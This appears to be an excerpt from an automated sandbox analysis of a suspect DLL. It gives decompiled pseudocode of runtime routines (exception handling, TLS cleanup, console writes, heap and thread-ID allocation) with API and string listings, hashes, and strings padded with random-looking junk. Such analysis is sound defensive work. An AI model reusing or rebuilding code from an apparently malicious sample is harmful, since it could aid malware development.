															} else {
																__eflags = _a28;
																if(_a28 != 0) {
																	goto L59;
																} else {
																	goto L52;
																}
															}
														}
													}
												} else {
													__eflags = _t274[0x14] - 0x19930521;
													if(_t274[0x14] == 0x19930521) {
														goto L29;
													} else {
														__eflags = _t274[0x14] - 0x19930522;
														if(_t274[0x14] != 0x19930522) {
															goto L56;
														} else {
															goto L29;
														}
													}
												}
											}
										}
									} else {
										_v16 =  *((intOrPtr*)(E6E7BCCF1(_t274, _t279, _t300, _t305, _t319) + 0x1c));
										_t268 = E6E7BCCF1(_t274, _t279, _t300, _t305, _t319);
										_push(_v16);
										 *(_t268 + 0x1c) = _t319;
										_t269 = E6E7BDA45(_t274, _t305, _t319, _t274);
										_pop(_t290);
										if(_t269 != 0) {
											goto L23;
										} else {
											_t305 = _v16;
											_t356 =  *_t305 - _t319;
											if( *_t305 <= _t319) {
												L61:
												E6E7BF50C(_t274, _t290, _t300, _t305, _t319, __eflags);
											} else {
												while(1) {
													_t290 =  *((intOrPtr*)(_t319 + _t305[1] + 4));
													if(E6E7BD6D9( *((intOrPtr*)(_t319 + _t305[1] + 4)), _t356, 0x6e7fad60) != 0) {
														goto L62;
													}
													_t319 = _t319 + 0x10;
													_t273 = _v20 + 1;
													_v20 = _t273;
													_t356 = _t273 -  *_t305;
													if(_t273 >=  *_t305) {
														goto L61;
													} else {
														continue;
													}
													goto L62;
												}
											}
											L62:
											_push(1);
											_push(_t274);
											E6E7BCA71(_t274, _t305, _t319, __eflags);
											_t279 =  &_v64;
											E6E7BD6C1( &_v64);
											E6E7BC29C(_t300,  &_v64, 0x6e7f7f7c);
											L63:
											 *(E6E7BCCF1(_t274, _t279, _t300, _t305, _t319) + 0x10) = _t274;
											_t232 = E6E7BCCF1(_t274, _t279, _t300, _t305, _t319);
											_t279 = _v8;
											 *(_t232 + 0x14) = _v8;
											__eflags = _t319;
											if(_t319 == 0) {
												_t319 = _a8;
											}
											E6E7BC65D(_t279, _t319, _t274);
											E6E7BD945(_a8, _a16, _t305);
											_t235 = E6E7BDB02(_t305);
											_t335 = _t335 + 0x10;
											_push(_t235);
											E6E7BD8BC(_t274, _t279, _t300, _t305, _t319, __eflags);
											goto L66;
										}
									}
								}
							}
						}
					}
				}
			}

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 6E7BD133
type_info::operator==.LIBVCRUNTIME ref: 6E7BD155
___TypeMatch.LIBVCRUNTIME ref: 6E7BD264
IsInExceptionSpec.LIBVCRUNTIME ref: 6E7BD336
_UnwindNestedFrames.LIBCMT ref: 6E7BD3BA
CallUnexpected.LIBVCRUNTIME ref: 6E7BD3D5

Strings

csm, xrefs: 6E7BD18C
csm, xrefs: 6E7BD0E0
csm, xrefs: 6E7BD073

Memory Dump Source

Source File: 00000002.00000002.915222976.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000002.00000002.915220054.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915238247.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915257078.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.915260338.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.915263320.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2123188842-393685449
Opcode ID: 3171a89f9513c15076094042830e6c5d6fb07863b1e1332e1581f986cbdfeb12
Instruction ID: c80a98bb54afeab3b8765846afbbb6a90530db0387574ca5a5514e45875e2144
Opcode Fuzzy Hash: 3171a89f9513c15076094042830e6c5d6fb07863b1e1332e1581f986cbdfeb12
Instruction Fuzzy Hash: D9B1597180020AEFCF05CFE4CA949DEBBB9FF04315B15856AEA146B226D331DA51CF99

Uniqueness

Uniqueness Score: -1.00%

Function 6E7AC500, Relevance: 12.6, APIs: 10, Instructions: 125
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E6E7AC500() {
				intOrPtr _t25;
				intOrPtr _t26;
				void* _t27;
				void* _t28;
				void* _t29;
				void* _t30;
				void* _t31;
				signed char _t42;
				signed char _t43;
				signed char _t44;
				signed char _t45;
				intOrPtr* _t52;
				intOrPtr* _t53;
				intOrPtr* _t54;
				intOrPtr* _t55;
				intOrPtr* _t56;
				void* _t57;

				_t25 =  *((intOrPtr*)(_t57 + 0x18));
				if(_t25 == 3 || _t25 == 0) {
					_t52 =  *0x6e7fadcc; // 0x0
					if(_t52 == 0) {
						goto L26;
					}
					_t42 = 0;
					do {
						_t27 = TlsGetValue( *(_t52 + 4));
						if(_t27 != 0) {
							TlsSetValue( *(_t52 + 4), 0);
							 *_t52(_t27);
							_t57 = _t57 + 4;
							_t42 = 1;
						}
						_t52 =  *((intOrPtr*)(_t52 + 8));
					} while (_t52 != 0);
					if((_t42 & 0x00000001) == 0) {
						goto L26;
					}
					_t53 =  *0x6e7fadcc; // 0x0
					if(_t53 == 0) {
						goto L26;
					}
					_t43 = 0;
					do {
						_t28 = TlsGetValue( *(_t53 + 4));
						if(_t28 != 0) {
							TlsSetValue( *(_t53 + 4), 0);
							 *_t53(_t28);
							_t57 = _t57 + 4;
							_t43 = 1;
						}
						_t53 =  *((intOrPtr*)(_t53 + 8));
					} while (_t53 != 0);
					if((_t43 & 0x00000001) == 0) {
						goto L26;
					}
					_t54 =  *0x6e7fadcc; // 0x0
					if(_t54 == 0) {
						goto L26;
					}
					_t44 = 0;
					do {
						_t29 = TlsGetValue( *(_t54 + 4));
						if(_t29 != 0) {
							TlsSetValue( *(_t54 + 4), 0);
							 *_t54(_t29);
							_t57 = _t57 + 4;
							_t44 = 1;
						}
						_t54 =  *((intOrPtr*)(_t54 + 8));
					} while (_t54 != 0);
					if((_t44 & 0x00000001) == 0) {
						goto L26;
					}
					_t55 =  *0x6e7fadcc; // 0x0
					if(_t55 == 0) {
						goto L26;
					}
					_t45 = 0;
					do {
						_t30 = TlsGetValue( *(_t55 + 4));
						if(_t30 != 0) {
							TlsSetValue( *(_t55 + 4), 0);
							 *_t55(_t30);
							_t57 = _t57 + 4;
							_t45 = 1;
						}
						_t55 =  *((intOrPtr*)(_t55 + 8));
					} while (_t55 != 0);
					if((_t45 & 0x00000001) != 0) {
						_t56 =  *0x6e7fadcc; // 0x0
						while(_t56 != 0) {
							_t31 = TlsGetValue( *(_t56 + 4));
							if(_t31 != 0) {
								TlsSetValue( *(_t56 + 4), 0);
								 *_t56(_t31);
								_t57 = _t57 + 4;
							}
							_t56 =  *((intOrPtr*)(_t56 + 8));
						}
					}
					goto L26;
				} else {
					L26:
					_t26 =  *0x6e7f7100; // 0x70
					return _t26;
				}
			}

APIs

TlsGetValue.KERNEL32(?), ref: 6E7AC53A
TlsSetValue.KERNEL32(?,00000000), ref: 6E7AC547
TlsGetValue.KERNEL32(?), ref: 6E7AC58A
TlsSetValue.KERNEL32(?,00000000), ref: 6E7AC597
TlsGetValue.KERNEL32(?), ref: 6E7AC5CA
TlsSetValue.KERNEL32(?,00000000), ref: 6E7AC5D7
TlsGetValue.KERNEL32(?), ref: 6E7AC60A
TlsSetValue.KERNEL32(?,00000000), ref: 6E7AC617
TlsGetValue.KERNEL32(?), ref: 6E7AC64B
TlsSetValue.KERNEL32(?,00000000), ref: 6E7AC658

Memory Dump Source

Source File: 00000002.00000002.915222976.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000002.00000002.915220054.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915238247.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915257078.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.915260338.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.915263320.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: dc525c38e2fbbcf33bee8b77820a6a99b49477ea96fa3826a71bc295b212d9b1
Instruction ID: 1dbb455ef5542495d4c502beeeb8f57862a7bae522a725e341f7ffa4981fd09a
Opcode Fuzzy Hash: dc525c38e2fbbcf33bee8b77820a6a99b49477ea96fa3826a71bc295b212d9b1
Instruction Fuzzy Hash: 8141C272544249FFEB40AFDCAE14B9A3768AF12343F045230FF144E124E761DA10EB92

Uniqueness

Uniqueness Score: -1.00%

Function 6E7B1DA0, Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 212
fileCOMMON

Download Yara Rule

C-Code - Quality: 55%

			E6E7B1DA0(void* __ebx, struct _OVERLAPPED** __ecx, void* __edx, void* __edi, void* __ebp, signed char _a4, signed char* _a8) {
				char _v20;
				void* _v24;
				char _v44;
				long _v48;
				void* _v52;
				signed int _v56;
				char _v60;
				void* __esi;
				long _t57;
				void* _t58;
				long _t60;
				signed int _t61;
				long _t81;
				signed int _t86;
				signed int _t87;
				signed int _t88;
				signed int _t91;
				char _t93;
				void* _t96;
				void* _t97;
				signed int _t100;
				signed int _t101;
				struct _OVERLAPPED* _t102;
				signed int _t105;
				signed int* _t106;
				signed int _t110;
				signed char _t112;
				void* _t114;
				long _t118;
				void** _t119;
				void* _t120;
				long _t122;
				void* _t125;
				void* _t133;
				struct _OVERLAPPED** _t135;
				void* _t144;
				long _t152;
				signed char* _t155;
				DWORD* _t156;
				void* _t157;
				void** _t158;
				void** _t160;

				_push(__ebp);
				_push(__ebx);
				_push(__edi);
				_t158 = _t157 - 0x30;
				_t152 = _a4;
				_t135 = __ecx;
				if(_t152 == 0) {
					 *(__ecx + 4) = 0;
					goto L5;
				} else {
					_t96 = __edx;
					_t58 = GetStdHandle(0xfffffff4);
					if(_t58 == 0) {
						_t57 = 6;
						goto L7;
					} else {
						_t133 = _t58;
						if(_t58 != 0xffffffff) {
							_v48 = 0;
							_t60 = GetConsoleMode(_t133,  &_v48);
							__eflags = _t60;
							if(_t60 == 0) {
								__eflags = _t133;
								if(__eflags == 0) {
									goto L42;
								} else {
									_v48 = 0;
									_t81 = WriteFile(_t133, _t96, _t152,  &_v48, 0);
									__eflags = _t81;
									if(_t81 == 0) {
										_t57 = GetLastError();
										_t102 = 0;
										__eflags = 0;
										_t122 = 1;
									} else {
										_t102 = _v48;
										_t57 = 0;
										_t122 = 0;
									}
									 *_t135 = _t122;
									_t135[1] = _t102;
									_t135[2] = _t57;
									goto L9;
								}
							} else {
								_t57 = _a8[4] & 0x000000ff;
								__eflags = _t57;
								if(_t57 == 0) {
									__eflags = _t152 - 0x1000;
									_t84 =  <  ? _t152 : 0x1000;
									_push( <  ? _t152 : 0x1000);
									E6E7A3820( &_v60, _t96);
									_t158 =  &(_t158[1]);
									__eflags = _v60 - 1;
									if(_v60 != 1) {
										_t86 = _v56;
										_t97 = _v52;
										goto L28;
									} else {
										__eflags = _v56;
										if(_v56 == 0) {
											_t87 =  *_t96 & 0x000000ff;
											_t38 = _t87 + 0x6e7ecd60; // 0x1010101
											_t105 =  *_t38 & 0x000000ff;
											__eflags = _t105 - 2;
											if(_t105 < 2) {
												L39:
												_t135[2] = 0x6e7ee0bc;
												_t135[1] = 0x1502;
												goto L40;
											} else {
												__eflags = _t105 - _t152;
												if(_t105 <= _t152) {
													goto L39;
												} else {
													_t106 = _a8;
													 *_t106 = _t87;
													_t106[1] = 1;
													goto L38;
												}
											}
											goto L9;
										} else {
											_t88 = _v56;
											__eflags = _t88 - _t152;
											if(__eflags > 0) {
												_t100 = _t88;
												_t118 = _t152;
												_push(0x6e7ee0f4);
												goto L45;
											} else {
												_t125 = _t96;
												_push(_t88);
												E6E7A3820( &_v48, _t125);
												_t158 =  &(_t158[1]);
												_t86 = E6E7B28E0(_t96,  &_v48, _t133, _t135);
												_t97 = _t125;
												L28:
												_push(_t97);
												_push(_t86);
												_t57 = E6E7B2620(_t97, _t135, _t133, _t133, _t135);
												_t158 =  &(_t158[2]);
												goto L9;
											}
										}
									}
								} else {
									__eflags = _t57 - 4;
									if(_t57 >= 4) {
										E6E7C72E0("Unexpected number of bytes for incomplete UTF-8 codepoint.C:eodllautblkklahmhgnetilzvvcslfjwakfzrpeciobxpylgwrokyyfkblnopnjvhlcoxjbvrndpaoezowltgjwguuqlcjtinialvpbtfcixalgwrcjcrthjdwukfjvq", 0x3a, 0x6e7ee05c);
										_t158 =  &(_t158[1]);
										asm("ud2");
										L42:
										_t61 = E6E7C6E20(_t96,  &M6E7ED3AA, 0x23, _t133, _t135, __eflags, 0x6e7ed454);
										_t158 =  &(_t158[1]);
										asm("ud2");
										goto L43;
									} else {
										_t110 =  *_t96;
										_t155 = _a8;
										__eflags = (_t110 & 0x000000c0) - 0x80;
										if((_t110 & 0x000000c0) != 0x80) {
											_a4 = 0;
											goto L24;
										} else {
											_t155[_t57] = _t110;
											_t112 = _a4 + 1;
											_a4 = _t112;
											_t57 =  *_t155 & 0x000000ff;
											_t96 =  *(_t57 + 0x6e7ecd60) & 0x000000ff;
											__eflags = _t96 - _t112;
											_v24 = _t96;
											if(_t96 <= _t112) {
												_t61 = _t112 & 0x000000ff;
												__eflags = _t112 - 5;
												if(__eflags >= 0) {
													L43:
													_t100 = _t61;
													_t118 = 4;
													_push(0x6e7ee0c4);
													L45:
													E6E7C6DB0(_t96, _t100, _t118, _t133, _t135, __eflags);
													_t160 =  &(_t158[1]);
													asm("ud2");
													goto L46;
												} else {
													_push(_t61);
													_t57 = E6E7A3820( &_v60, _t155);
													_t158 =  &(_t158[1]);
													__eflags = _v60 - 1;
													_a4 = 0;
													if(_v60 == 1) {
														L24:
														_t135[2] = 0x6e7ee0bc;
														_t135[1] = 0x1502;
														goto L8;
													} else {
														_t114 = _v52;
														_t91 = _v56;
														__eflags = _t114 - _t96;
														 *_t158 = _t114;
														if(_t114 != _t96) {
															L46:
															_t101 =  &_v24;
															_t119 = _t160;
															_v48 = 0;
															_push(0x6e7ee0d4);
															_push( &_v48);
															goto L48;
														} else {
															_t156 =  &_v48;
															_push(_t96);
															_push(_t91);
															E6E7B2620(_t96, _t156, _t133, _t133, _t135);
															_t160 =  &(_t158[2]);
															__eflags = _v48 - 1;
															if(_v48 != 1) {
																_t93 = _v44;
																 *_t160 = _t96;
																__eflags = _t93 - _t96;
																_v20 = _t93;
																if(_t93 != _t96) {
																	_t101 =  &_v20;
																	_t119 = _t160;
																	_v48 = 0;
																	_push(0x6e7ee0e4);
																	_push(_t156);
																	L48:
																	E6E7C73F0(_t96, _t101, _t119, _t133);
																	asm("ud2");
																	L50();
																	_t120 = _t135;
																	__eflags = _t101 - 0x46a;
																	if(_t101 > 0x46a) {
																		__eflags = _t101 - 0x271c;
																		if(_t101 <= 0x271c) {
																			__eflags = _t101 - 0x1715;
																			if(_t101 > 0x1715) {
																				__eflags = _t101 - 0x1f4d;
																				if(_t101 > 0x1f4d) {
																					__eflags = _t101 - 0x1f4e;
																					if(_t101 == 0x1f4e) {
																						goto L93;
																					} else {
																						__eflags = _t101 - 0x2022;
																						if(_t101 == 0x2022) {
																							goto L93;
																						} else {
																							__eflags = _t101 - 0x25e9;
																							if(_t101 != 0x25e9) {
																								goto L106;
																							} else {
																								goto L93;
																							}
																						}
																					}
																				} else {
																					__eflags = _t101 - 0x1716;
																					if(_t101 == 0x1716) {
																						goto L93;
																					} else {
																						__eflags = _t101 - 0x1b64;
																						if(_t101 == 0x1b64) {
																							goto L93;
																						} else {
																							__eflags = _t101 - 0x1b80;
																							if(_t101 == 0x1b80) {
																								goto L93;
																							} else {
																								goto L106;
																							}
																						}
																					}
																				}
																			} else {
																				__eflags = _t101 - 0x4cf;
																				if(_t101 > 0x4cf) {
																					__eflags = _t101 - 0x4d0;
																					if(_t101 == 0x4d0) {
																						return 4;
																					} else {
																						__eflags = _t101 - 0x50f;
																						if(_t101 == 0x50f) {
																							return 0x1a;
																						} else {
																							__eflags = _t101 - 0x5b4;
																							if(_t101 == 0x5b4) {
																								goto L93;
																							} else {
																								goto L106;
																							}
																						}
																					}
																				} else {
																					__eflags = _t101 - 0x46b;
																					if(_t101 == 0x46b) {
																						return 0x1e;
																					} else {
																						__eflags = _t101 - 0x476;
																						if(_t101 == 0x476) {
																							return 0x20;
																						} else {
																							__eflags = _t101 - 0x4cf;
																							if(_t101 != 0x4cf) {
																								goto L106;
																							} else {
																								return 5;
																							}
																						}
																					}
																				}
																			}
																		} else {
																			_t144 = _t101 - 0x271d;
																			__eflags = _t144 - 0x34;
																			if(_t144 <= 0x34) {
																				goto __edx;
																			}
																			__eflags = _t101 - 0x3c2a - 2;
																			if(_t101 - 0x3c2a < 2) {
																				goto L93;
																			} else {
																				__eflags = _t101 - 0x35ed;
																				if(_t101 == 0x35ed) {
																					goto L93;
																				} else {
																					goto L106;
																				}
																			}
																		}
																	} else {
																		__eflags = _t101 - 0xb6;
																		if(_t101 > 0xb6) {
																			__eflags = _t101 - 0x10a;
																			if(_t101 <= 0x10a) {
																				__eflags = _t101 - 0xde;
																				if(_t101 <= 0xde) {
																					__eflags = _t101 - 0xb7;
																					if(_t101 == 0xb7) {
																						return 0xc;
																					} else {
																						__eflags = _t101 - 0xce;
																						if(_t101 != 0xce) {
																							goto L106;
																						} else {
																							return 0x21;
																						}
																					}
																				} else {
																					__eflags = _t101 - 0xdf;
																					if(_t101 == 0xdf) {
																						return 0x1b;
																					} else {
																						__eflags = _t101 - 0xe8;
																						if(_t101 == 0xe8) {
																							return 0xb;
																						} else {
																							__eflags = _t101 - 0x102;
																							if(_t101 == 0x102) {
																								goto L93;
																							} else {
																								goto L106;
																							}
																						}
																					}
																				}
																			} else {
																				__eflags = _t101 - 0x3e2;
																				if(_t101 > 0x3e2) {
																					__eflags = _t101 - 0x3e3;
																					if(_t101 == 0x3e3) {
																						goto L93;
																					} else {
																						__eflags = _t101 - 0x41d;
																						if(_t101 == 0x41d) {
																							goto L93;
																						} else {
																							__eflags = _t101 - 0x461;
																							if(_t101 == 0x461) {
																								goto L93;
																							} else {
																								goto L106;
																							}
																						}
																					}
																				} else {
																					__eflags = _t101 - 0x10b;
																					if(_t101 == 0x10b) {
																						return 0xe;
																					} else {
																						__eflags = _t101 - 0x150;
																						if(_t101 == 0x150) {
																							return 0xf;
																						} else {
																							__eflags = _t101 - 0x252;
																							if(_t101 == 0x252) {
																								L93:
																								return 0x16;
																							} else {
																								goto L106;
																							}
																						}
																					}
																				}
																			}
																		} else {
																			_t101 = _t101 + 0xfffffffe;
																			__eflags = _t101 - 0xa8;
																			if(_t101 <= 0xa8) {
																				_t120 = _t120 +  *((intOrPtr*)(0x6e7b22a8 + _t101 * 4));
																				goto __edx;
																			}
																			L106:
																			return 0x28;
																		}
																	}
																} else {
																	L38:
																	_t57 = 0;
																	_t135[1] = 1;
																	 *_t135 = 0;
																	goto L9;
																}
															} else {
																asm("movsd xmm0, [esp+0x14]");
																asm("movsd [esi+0x4], xmm0");
																L40:
																_t57 = 1;
																 *_t135 = 1;
																goto L9;
															}
														}
													}
												}
											} else {
												_t135[1] = 1;
												L5:
												 *_t135 = 0;
												goto L9;
											}
										}
									}
								}
							}
						} else {
							_t57 = GetLastError();
							L7:
							_t135[1] = 0;
							_t135[2] = _t57;
							L8:
							 *_t135 = 1;
							L9:
							return _t57;
						}
					}
				}
			}

APIs

GetStdHandle.KERNEL32(000000F4,?,?,?,?,?,?,?,?,?,6E7B1C2E,?), ref: 6E7B1DB5
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,6E7B1C2E,?), ref: 6E7B1DC6
GetConsoleMode.KERNEL32(00000000,?), ref: 6E7B1E08
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 6E7B1E83
GetLastError.KERNEL32(?,?,?,00000000), ref: 6E7B1F05

Strings

assertion failed: !handle.is_null()C:wzsrrzyhpokwddixmxfulwzhcndebeithwkkhwbuyssisqxbeobnryngrerqutlqsjvizxvibhexzqwhpywnaymoprangqwwlydycgacflwbjqxhaclrecozjqfmkoreeed, xrefs: 6E7B200E
Unexpected number of bytes for incomplete UTF-8 codepoint.C:eodllautblkklahmhgnetilzvvcslfjwakfzrpeciobxpylgwrokyyfkblnopnjvhlcoxjbvrndpaoezowltgjwguuqlcjtinialvpbtfcixalgwrcjcrthjdwukfjvq, xrefs: 6E7B1FF5

Memory Dump Source

Source File: 00000002.00000002.915222976.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000002.00000002.915220054.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915238247.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915257078.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.915260338.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.915263320.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$ConsoleFileHandleModeWrite
String ID: Unexpected number of bytes for incomplete UTF-8 codepoint.C:eodllautblkklahmhgnetilzvvcslfjwakfzrpeciobxpylgwrokyyfkblnopnjvhlcoxjbvrndpaoezowltgjwguuqlcjtinialvpbtfcixalgwrcjcrthjdwukfjvq$assertion failed: !handle.is_null()C:wzsrrzyhpokwddixmxfulwzhcndebeithwkkhwbuyssisqxbeobnryngrerqutlqsjvizxvibhexzqwhpywnaymoprangqwwlydycgacflwbjqxhaclrecozjqfmkoreeed
API String ID: 4172320683-607870617
Opcode ID: 2f0eae5d910d522dd4e2783604284aea4628a3989c042022129236f5c4813505
Instruction ID: 3586313accf39794a034161511cf10546ce39ed4ca2d4e1b5786c4c9182909aa
Opcode Fuzzy Hash: 2f0eae5d910d522dd4e2783604284aea4628a3989c042022129236f5c4813505
Instruction Fuzzy Hash: 0D71E2B06083459FD7108FA9DA5476BBBE9AB86348F108C2CE4D68B3A4D735D94CCB13

Uniqueness

Uniqueness Score: -1.00%

Function 6E7AC690, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 95
memoryCOMMON

Download Yara Rule

C-Code - Quality: 45%

			E6E7AC690(void* __ebx, void* __edi, void* __esi, void* _a8) {
				long _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				signed int _v36;
				char _v40;
				long _v48;
				void* __ebp;
				void* _t22;
				void* _t29;
				void* _t30;
				signed int _t43;
				signed int _t47;
				signed int _t50;
				void* _t54;

				_t32 = __ebx;
				_v32 = _t54 - 0x20;
				_v20 = 0xffffffff;
				_v24 = E6E7B3B40;
				_v28 =  *[fs:0x0];
				 *[fs:0x0] =  &_v28;
				_v48 = 0;
				__imp__AcquireSRWLockExclusive(0x6e7fada8, __esi, __edi, __ebx);
				_t47 =  *0x6e7fa038; // 0x1
				_t50 =  *0x6e7fa03c; // 0x0
				_v40 = 0x6e7fada8;
				_t43 = _t47 & _t50;
				if(_t43 == 0xffffffff) {
					L8:
					_v36 = _t43;
					__imp__ReleaseSRWLockExclusive(0x6e7fada8);
					_v20 = 0;
					_t22 = E6E7C72E0("failed to generate unique thread ID: bitspace exhausted", 0x37, 0x6e7ed270);
					goto L10;
				} else {
					 *0x6e7fa038 = _t47 + 1;
					asm("adc ecx, 0x0");
					 *0x6e7fa03c = _t50;
					if((_t47 | _t50) == 0) {
						_v36 = _t43;
						_v20 = 0;
						_t22 = E6E7C6E20(__ebx, "called `Option::unwrap()` on a `None` value", 0x2b, _t47, _t50, __eflags, 0x6e7ed280);
						L10:
						asm("ud2");
						__eflags = _v36 - 0xffffffff;
						if(_v36 != 0xffffffff) {
							E6E7AC870(_t22,  &_v40);
						}
						return E6E7AC850( &_v48);
					} else {
						__imp__ReleaseSRWLockExclusive(0x6e7fada8);
						_t29 =  *0x6e7fadc8; // 0x680000
						if(_t29 != 0) {
							L5:
							_t30 = HeapAlloc(_t29, 0, 0x20);
							if(_t30 == 0) {
								goto L7;
							} else {
								 *(_t30 + 8) = _t47;
								 *(_t30 + 0xc) = _t50;
								 *(_t30 + 0x10) = 0;
								 *((char*)(_t30 + 0x18)) = 0;
								 *_t30 = 1;
								 *(_t30 + 4) = 1;
								 *[fs:0x0] = _v28;
								return _t30;
							}
						} else {
							_t29 = GetProcessHeap();
							if(_t29 == 0) {
								L7:
								_t43 = 8;
								E6E7C6C30(_t32, 0x20, 8, _t47, _t50, __eflags);
								asm("ud2");
								goto L8;
							} else {
								 *0x6e7fadc8 = _t29;
								goto L5;
							}
						}
					}
				}
			}

APIs

AcquireSRWLockExclusive.KERNEL32(6E7FADA8), ref: 6E7AC6C9
ReleaseSRWLockExclusive.KERNEL32(6E7FADA8), ref: 6E7AC713
GetProcessHeap.KERNEL32 ref: 6E7AC722
HeapAlloc.KERNEL32(00680000,00000000,00000020), ref: 6E7AC735
ReleaseSRWLockExclusive.KERNEL32(6E7FADA8), ref: 6E7AC787

Strings

failed to generate unique thread ID: bitspace exhausted, xrefs: 6E7AC794
called `Option::unwrap()` on a `None` value, xrefs: 6E7AC7B7

Memory Dump Source

Source File: 00000002.00000002.915222976.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000002.00000002.915220054.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915238247.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915257078.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.915260338.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.915263320.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$HeapRelease$AcquireAllocProcess
String ID: called `Option::unwrap()` on a `None` value$failed to generate unique thread ID: bitspace exhausted
API String ID: 1780889587-1657987152
Opcode ID: cc6c8f7432b6ea789376cb881714f8b19b419a45536ce8f8ea13e1d554acb3f6
Instruction ID: 51fc555a51df787c41ebea310745621b3046968eee64af9ea07a7cb8f58600be
Opcode Fuzzy Hash: cc6c8f7432b6ea789376cb881714f8b19b419a45536ce8f8ea13e1d554acb3f6
Instruction Fuzzy Hash: 673104B1D006049FDB04CFE8EA187AEBBBCFB85715F104239D515AB3A0D774A9058FA1

Uniqueness

Uniqueness Score: -1.00%

Function 6E7A10A0, Relevance: 12.1, APIs: 6, Strings: 2, Instructions: 141
memoryCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E6E7A10A0(long __ebx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4, char _a8, intOrPtr _a16) {
				long _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				void* _v36;
				void* _v40;
				long _v44;
				long _v48;
				void* _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				long _v64;
				void* __ebp;
				void* _t45;
				void* _t46;
				void* _t50;
				void* _t51;
				intOrPtr _t54;
				long _t62;
				void* _t71;
				void* _t81;
				void* _t84;
				intOrPtr _t85;

				_t78 = __esi;
				_t76 = __edi;
				_t59 = __ebx;
				_push(__ebx);
				_push(__edi);
				_push(__esi);
				_t85 = _t84 - 0x30;
				_v32 = _t85;
				_v20 = 0xffffffff;
				_v24 = E6E7B3B00;
				_v28 =  *[fs:0x0];
				 *[fs:0x0] =  &_v28;
				_t45 =  *0x6e7fadc8; // 0x680000
				if(_t45 != 0) {
					L3:
					_t46 = HeapAlloc(_t45, 0, 0xf);
					if(_t46 == 0) {
						goto L18;
					} else {
						asm("movsd xmm0, [0x6e7eb227]");
						asm("movsd xmm1, [0x6e7eb220]");
						_v40 = _t46;
						asm("movsd [eax+0x7], xmm0");
						asm("movsd [eax], xmm1");
						_t50 =  *0x6e7fadc8; // 0x680000
						if(_t50 != 0) {
							L7:
							_t51 = HeapAlloc(_t50, 0, 0x10);
							if(_t51 == 0) {
								goto L19;
							} else {
								asm("movsd xmm0, [0x6e7eb237]");
								asm("movsd xmm1, [0x6e7eb22f]");
								_t71 = 0;
								_t59 = 0x10;
								_v52 = _t51;
								_v48 = 0x10;
								asm("movsd [eax+0x8], xmm0");
								asm("movsd [eax], xmm1");
								while(1) {
									_v44 = _t59;
									if(_t71 > 0xf) {
										break;
									}
									_t17 = _t71 + 1; // 0x1
									_t76 = _t71 + _t17;
									_t78 = _t59 - _t76;
									if(_t78 < 0) {
										_v20 = 0;
										E6E7C6C40(_t59, _t76, _t59, _t76, _t78, __eflags);
										asm("ud2");
										goto L18;
									} else {
										if(_t59 == _v48) {
											_v36 = _t71;
											_v56 = _t78;
											_v60 = _t76;
											_v20 = 0;
											_v64 = _t59;
											E6E7C6BC0( &_v52, _t59);
											_t51 = _v52;
											_t59 = _v64;
											_t71 = _v36;
											_t76 = _v60;
											_t78 = _v56;
										}
										_t10 = _t76 + 1; // 0x1
										_v36 = _t71 + 1;
										_t81 = _t51;
										E6E7BAE10(_t51 + _t10, _t51 + _t76, _t78);
										_t71 = _v36;
										_t51 = _t81;
										_t85 = _t85 + 0xc;
										 *((char*)(_t81 + _t76)) = 0;
										_t59 = _t59 + 1;
										continue;
									}
									goto L21;
								}
								_v20 = 0;
								_v36 = _t51;
								E6E7B9770(_v40, _a4, _a8, _t51, _a16);
								__eflags = _v48;
								if(_v48 != 0) {
									HeapFree( *0x6e7fadc8, 0, _v36);
								}
								HeapFree( *0x6e7fadc8, 0, _v40);
								_t54 = _v28;
								 *[fs:0x0] = _t54;
								return _t54;
							}
						} else {
							_t50 = GetProcessHeap();
							if(_t50 == 0) {
								L19:
								_t62 = 0x10;
								goto L20;
							} else {
								 *0x6e7fadc8 = _t50;
								goto L7;
							}
						}
					}
				} else {
					_t45 = GetProcessHeap();
					if(_t45 == 0) {
						L18:
						_t62 = 0xf;
						L20:
						E6E7C6C30(_t59, _t62, 1, _t76, _t78, __eflags);
						asm("ud2");
						__eflags =  &_a8;
